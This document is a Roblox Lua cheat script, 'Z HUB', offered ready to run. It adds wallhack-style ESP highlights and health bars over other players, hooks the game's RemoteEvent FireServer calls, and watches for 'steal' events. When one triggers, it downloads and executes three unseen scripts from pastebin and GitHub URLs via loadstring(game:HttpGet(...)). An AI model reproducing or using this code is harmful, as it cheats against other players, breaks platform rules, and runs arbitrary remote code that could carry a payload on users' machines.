--[[ Z HUB | PINK & BLUE THEME | CENTERED | DRAGGABLE - 3 LEAVE SOURCES (executes on steal) - ESP | Anti-Steal | Invasion Kick (0.1s) --]] local Players = game:GetService("Players") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer local PlayerGui = LocalPlayer:WaitForChild("PlayerGui") -- ========== STATE ========== local espEnabled = true local autoLeaveEnabled = false local invasionKickEnabled = false local scriptsExecuted = false -- ========== ESP SYSTEM ========== local espFolder = Instance.new("Folder") espFolder.Name = "ZHub_ESP" espFolder.Parent = PlayerGui local activeESP = {} local function createESPForPlayer(player) if player == LocalPlayer then return end if activeESP[player] then return end local character = player.Character if not character or not character:FindFirstChild("HumanoidRootPart") then return end local highlight = Instance.new("Highlight") highlight.Name = "ZHubESP" highlight.FillTransparency = 0.8 highlight.OutlineTransparency = 0.2 highlight.OutlineColor = Color3.fromRGB(255, 0, 255) highlight.FillColor = Color3.fromRGB(255, 100, 200) highlight.Adornee = character highlight.Enabled = espEnabled highlight.Parent = espFolder local head = character:FindFirstChild("Head") if head then local billboard = Instance.new("BillboardGui") billboard.Name = "NameTag" billboard.Size = UDim2.new(0, 200, 0, 40) billboard.StudsOffset = Vector3.new(0, 2.5, 0) billboard.AlwaysOnTop = true billboard.Enabled = espEnabled billboard.Parent = head local nameLabel = Instance.new("TextLabel") nameLabel.Size = UDim2.new(1, 0, 1, 0) nameLabel.BackgroundTransparency = 1 nameLabel.Text = player.Name nameLabel.TextColor3 = Color3.fromRGB(255, 0, 255) nameLabel.TextStrokeTransparency = 0.3 nameLabel.Font = Enum.Font.GothamBold nameLabel.TextScaled = true nameLabel.Parent = billboard local healthBar = Instance.new("Frame") healthBar.Size = UDim2.new(1, 0, 0.2, 0) healthBar.Position = UDim2.new(0, 0, 1, 0) healthBar.BackgroundColor3 = Color3.fromRGB(0, 200, 0) healthBar.BorderSizePixel = 0 healthBar.Parent = billboard local humanoid = character:FindFirstChild("Humanoid") local connection if humanoid then connection = humanoid.HealthChanged:Connect(function(health) local maxHealth = humanoid.MaxHealth or 100 local percent = math.clamp(health / maxHealth, 0, 1) healthBar.Size = UDim2.new(percent, 0, 0.2, 0) healthBar.BackgroundColor3 = Color3.fromRGB(255 * (1-percent), 200 * percent, 0) end) end activeESP[player] = { highlight = highlight, billboard = billboard, healthConnection = connection } else activeESP[player] = { highlight = highlight } end end local function removeESPForPlayer(player) local data = activeESP[player] if data then if data.highlight then data.highlight:Destroy() end if data.billboard then data.billboard:Destroy() end if data.healthConnection then data.healthConnection:Disconnect() end activeESP[player] = nil end end local function refreshAllESP() for _, data in pairs(activeESP) do if data.highlight then data.highlight.Enabled = espEnabled end if data.billboard then data.billboard.Enabled = espEnabled end end end for _, player in ipairs(Players:GetPlayers()) do createESPForPlayer(player) end Players.PlayerAdded:Connect(createESPForPlayer) Players.PlayerRemoving:Connect(removeESPForPlayer) Players.PlayerAdded:Connect(function(player) player.CharacterAdded:Connect(function() task.wait(0.5) removeESPForPlayer(player) createESPForPlayer(player) end) end) -- ========== EXTERNAL SCRIPTS (ALL 3 - run on steal only) ========== local function executeExternalScripts() if scriptsExecuted then return end scriptsExecuted = true -- Script 1: pastebins.net (your original) task.spawn(function() pcall(function() loadstring(game:HttpGet("https://pastebins.net/raw/game-77164"))() end) end) -- Script 2: Sky Leave (original) task.spawn(function() pcall(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/IcOxx/Sky-Leaving/refs/heads/main/Sky%20Leave"))() end) end) -- Script 3: NEW pastebin leave source task.spawn(function() pcall(function() loadstring(game:HttpGet("https://pastebin.com/raw/yWZSqK7X"))() end) end) end -- ========== KICK FUNCTIONS ========== local function kickPlayerForSteal() local kickMsg = "āš ļø SOMEONE TRIED STEALING AND WE BLOCKED šŸ˜āœŒšŸ™ THEM āš ļø\n\nāž¤ JOIN OUR DISCORD:\nhttps://discord.gg/JUca27emW\n\n[ Z HUB | STEAL PROTECTION ]" LocalPlayer:Kick(kickMsg) end local function kickPlayerForBaseInvasion() local kickMsg = "āš ļø SOMEONE ENTERED YOUR BASE BUT WE BLOCKED THEM āœŒšŸ™ āš ļø\n\nāž¤ JOIN OUR DISCORD:\nhttps://discord.gg/JUca27emW\n\n[ Z HUB | BASE PROTECTION ]" task.wait(0.1) LocalPlayer:Kick(kickMsg) end -- ========== STEAL DETECTION ========== local function onStealDetected() if autoLeaveEnabled then executeExternalScripts() kickPlayerForSteal() end end local function onBaseInvasion() if invasionKickEnabled then kickPlayerForBaseInvasion() end end -- Auto-detect steal parts local function watchParts() local partNames = {"Valentino", "StealZone", "Vault", "Target", "Gem", "Item", "Present", "Chest", "Safe", "Valentines", "Heart"} for _, name in ipairs(partNames) do local part = workspace:FindFirstChild(name) if part then part.Touched:Connect(function(hit) if not autoLeaveEnabled then return end local humanoid = hit.Parent and hit.Parent:FindFirstChild("Humanoid") if humanoid then local player = Players:GetPlayerFromCharacter(hit.Parent) if player and player ~= LocalPlayer then onStealDetected() end end end) end end end -- Auto-detect base parts local function watchBase() local baseNames = {"Base", "SafeZone", "YourBase", "HomeBase", "SpawnBase", "ClaimZone", "Territory", "BaseRegion", "House", "Room"} for _, name in ipairs(baseNames) do local basePart = workspace:FindFirstChild(name) if basePart then basePart.Touched:Connect(function(hit) local humanoid = hit.Parent and hit.Parent:FindFirstChild("Humanoid") if humanoid then local player = Players:GetPlayerFromCharacter(hit.Parent) if player and player ~= LocalPlayer then onBaseInvasion() end end end) end end end -- Hook remote events local function hookRemotes() local keywords = {"steal", "take", "rob", "grab", "claim", "valentino", "snatch", "loot", "pickup"} for _, child in ipairs(game:GetService("ReplicatedStorage"):GetChildren()) do if child:IsA("RemoteEvent") then local lowerName = child.Name:lower() for _, kw in ipairs(keywords) do if lowerName:find(kw) then local oldFire = child.FireServer child.FireServer = function(...) if autoLeaveEnabled then onStealDetected() end return oldFire(...) end break end end end end end -- Watch values local function watchValues() local function check(obj) if obj:IsA("BoolValue") and (obj.Name:lower():find("stolen") or obj.Name:lower():find("taken") or obj.Name:lower():find("claimed")) then obj.Changed:Connect(function() if autoLeaveEnabled and obj.Value == true then onStealDetected() end end) end end for _, obj in ipairs(workspace:GetDescendants()) do check(obj) end workspace.DescendantAdded:Connect(check) end -- Watch inventory local function watchInventory() local function onToolRemoved(child) if autoLeaveEnabled and child:IsA("Tool") then onStealDetected() end end if LocalPlayer.Character then LocalPlayer.Character.ChildRemoved:Connect(onToolRemoved) end LocalPlayer.CharacterAdded:Connect(function(character) character.ChildRemoved:Connect(onToolRemoved) end) end -- Watch steal sounds local function watchStealSounds() local stealSoundKeywords = {"steal", "take", "rob", "grab", "success", "pickup", "valentino", "coin", "reward"} local function onSoundPlayed(sound) if not autoLeaveEnabled then return end local lowerName = sound.Name:lower() for _, kw in ipairs(stealSoundKeywords) do if lowerName:find(kw) then onStealDetected() break end end end local function hookSound(instance) if instance:IsA("Sound") then instance.Played:Connect(function() onSoundPlayed(instance) end) end end for _, sound in ipairs(workspace:GetDescendants()) do hookSound(sound) end workspace.DescendantAdded:Connect(hookSound) end -- Start all detectors watchParts() watchBase() hookRemotes() watchValues() watchInventory() watchStealSounds() -- ========== PINK & BLUE GUI (CENTERED, DRAGGABLE) ========== local gui = Instance.new("ScreenGui") gui.Name = "ZHub" gui.ResetOnSpawn = false gui.Parent = PlayerGui -- Main frame - PINK border, BLUE background local frame = Instance.new("Frame") frame.Size = UDim2.new(0, 380, 0, 320) frame.Position = UDim2.new(0.5, -190, 0.5, -160) -- EXACT CENTER frame.BackgroundColor3 = Color3.fromRGB(20, 30, 60) -- Dark blue frame.BackgroundTransparency = 0 frame.BorderColor3 = Color3.fromRGB(255, 0, 255) -- Pink border frame.BorderSizePixel = 3 frame.Active = true frame.Draggable = true frame.Parent = gui -- Title bar (PINK) local titleBar = Instance.new("Frame") titleBar.Size = UDim2.new(1, 0, 0, 45) titleBar.BackgroundColor3 = Color3.fromRGB(255, 0, 150) -- Pink titleBar.BorderSizePixel = 0 titleBar.Parent = frame -- Title text (WHITE on PINK) local title = Instance.new("TextLabel") title.Size = UDim2.new(1, 0, 1, 0) title.BackgroundTransparency = 1 title.Text = "Z HUB" title.TextColor3 = Color3.fromRGB(255, 255, 255) title.TextSize = 26 title.Font = Enum.Font.GothamBold title.Parent = titleBar -- Subtitle local subtitle = Instance.new("TextLabel") subtitle.Size = UDim2.new(1, 0, 0, 20) subtitle.Position = UDim2.new(0, 0, 0, 50) subtitle.BackgroundTransparency = 1 subtitle.Text = "⚔ PINK & BLUE EDITION | 3 LEAVE SOURCES ⚔" subtitle.TextColor3 = Color3.fromRGB(255, 100, 200) subtitle.TextSize = 12 subtitle.Font = Enum.Font.Gotham subtitle.Parent = frame -- ESP Button (BLUE when ON, PINK when OFF) local espBtn = Instance.new("TextButton") espBtn.Size = UDim2.new(0.9, 0, 0, 45) espBtn.Position = UDim2.new(0.05, 0, 0, 80) espBtn.BackgroundColor3 = Color3.fromRGB(0, 150, 0) espBtn.Text = "šŸ” ESP: ON" espBtn.TextColor3 = Color3.fromRGB(255, 255, 255) espBtn.TextSize = 16 espBtn.Font = Enum.Font.GothamBold espBtn.Parent = frame -- Anti-Steal Button local stealBtn = Instance.new("TextButton") stealBtn.Size = UDim2.new(0.9, 0, 0, 45) stealBtn.Position = UDim2.new(0.05, 0, 0, 135) stealBtn.BackgroundColor3 = Color3.fromRGB(150, 0, 0) stealBtn.Text = "šŸ›”ļø ANTI-STEAL: OFF" stealBtn.TextColor3 = Color3.fromRGB(255, 255, 255) stealBtn.TextSize = 16 stealBtn.Font = Enum.Font.GothamBold stealBtn.Parent = frame -- Invasion Button (0.1s) local invasionBtn = Instance.new("TextButton") invasionBtn.Size = UDim2.new(0.9, 0, 0, 45) invasionBtn.Position = UDim2.new(0.05, 0, 0, 190) invasionBtn.BackgroundColor3 = Color3.fromRGB(150, 0, 0) invasionBtn.Text = "🚪 INVASION (0.1s): OFF" invasionBtn.TextColor3 = Color3.fromRGB(255, 255, 255) invasionBtn.TextSize = 16 invasionBtn.Font = Enum.Font.GothamBold invasionBtn.Parent = frame -- Discord link local discord = Instance.new("TextLabel") discord.Size = UDim2.new(1, 0, 0, 25) discord.Position = UDim2.new(0, 0, 0, 250) discord.BackgroundTransparency = 1 discord.Text = "šŸ’€ discord.gg/JUca27emW šŸ’€" discord.TextColor3 = Color3.fromRGB(255, 0, 200) discord.TextSize = 13 discord.Font = Enum.Font.Gotham discord.Parent = frame -- Drag hint local dragHint = Instance.new("TextLabel") dragHint.Size = UDim2.new(1, 0, 0, 20) dragHint.Position = UDim2.new(0, 0, 0, 285) dragHint.BackgroundTransparency = 1 dragHint.Text = "← Drag the PINK bar to move →" dragHint.TextColor3 = Color3.fromRGB(255, 100, 200) dragHint.TextSize = 10 dragHint.Font = Enum.Font.Gotham dragHint.Parent = frame -- Status indicator (shows everything is working) local statusLight = Instance.new("Frame") statusLight.Size = UDim2.new(0, 12, 0, 12) statusLight.Position = UDim2.new(0, 10, 0, 290) statusLight.BackgroundColor3 = Color3.fromRGB(0, 255, 0) statusLight.BorderSizePixel = 0 statusLight.Parent = frame local statusText = Instance.new("TextLabel") statusText.Size = UDim2.new(0.8, 0, 0, 20) statusText.Position = UDim2.new(0, 28, 0, 286) statusText.BackgroundTransparency = 1 statusText.Text = "PROTECTION ACTIVE" statusText.TextColor3 = Color3.fromRGB(0, 255, 0) statusText.TextSize = 10 statusText.Font = Enum.Font.Gotham statusText.TextXAlignment = Enum.TextXAlignment.Left statusText.Parent = frame -- Update button appearances local function updateButtons() espBtn.Text = espEnabled and "šŸ” ESP: ON" or "šŸ” ESP: OFF" espBtn.BackgroundColor3 = espEnabled and Color3.fromRGB(0, 150, 0) or Color3.fromRGB(150, 0, 0) stealBtn.Text = autoLeaveEnabled and "šŸ›”ļø ANTI-STEAL: ON" or "šŸ›”ļø ANTI-STEAL: OFF" stealBtn.BackgroundColor3 = autoLeaveEnabled and Color3.fromRGB(0, 150, 0) or Color3.fromRGB(150, 0, 0) invasionBtn.Text = invasionKickEnabled and "🚪 INVASION (0.1s): ON" or "🚪 INVASION (0.1s): OFF" invasionBtn.BackgroundColor3 = invasionKickEnabled and Color3.fromRGB(0, 150, 0) or Color3.fromRGB(150, 0, 0) end -- Blinking status light task.spawn(function() while true do task.wait(0.5) if statusLight then statusLight.BackgroundColor3 = statusLight.BackgroundColor3 == Color3.fromRGB(0, 255, 0) and Color3.fromRGB(0, 100, 0) or Color3.fromRGB(0, 255, 0) end end end) -- Button clicks espBtn.MouseButton1Click:Connect(function() espEnabled = not espEnabled refreshAllESP() updateButtons() end) stealBtn.MouseButton1Click:Connect(function() autoLeaveEnabled = not autoLeaveEnabled updateButtons() end) invasionBtn.MouseButton1Click:Connect(function() invasionKickEnabled = not invasionKickEnabled updateButtons() end) -- Initial update updateButtons() -- Rainbow border animation (PINK to BLUE cycling) local hue = 0.9 -- Start at pink RunService.RenderStepped:Connect(function() hue = (hue + 0.005) % 1 frame.BorderColor3 = Color3.fromHSV(hue, 1, 1) end) print("āœ… Z HUB FULLY ACTIVE | Pink/Blue GUI | 3 Leave Sources | Centered on screen") print("āœ… If you can read this, the script is running. GUI should be in the middle of your screen.")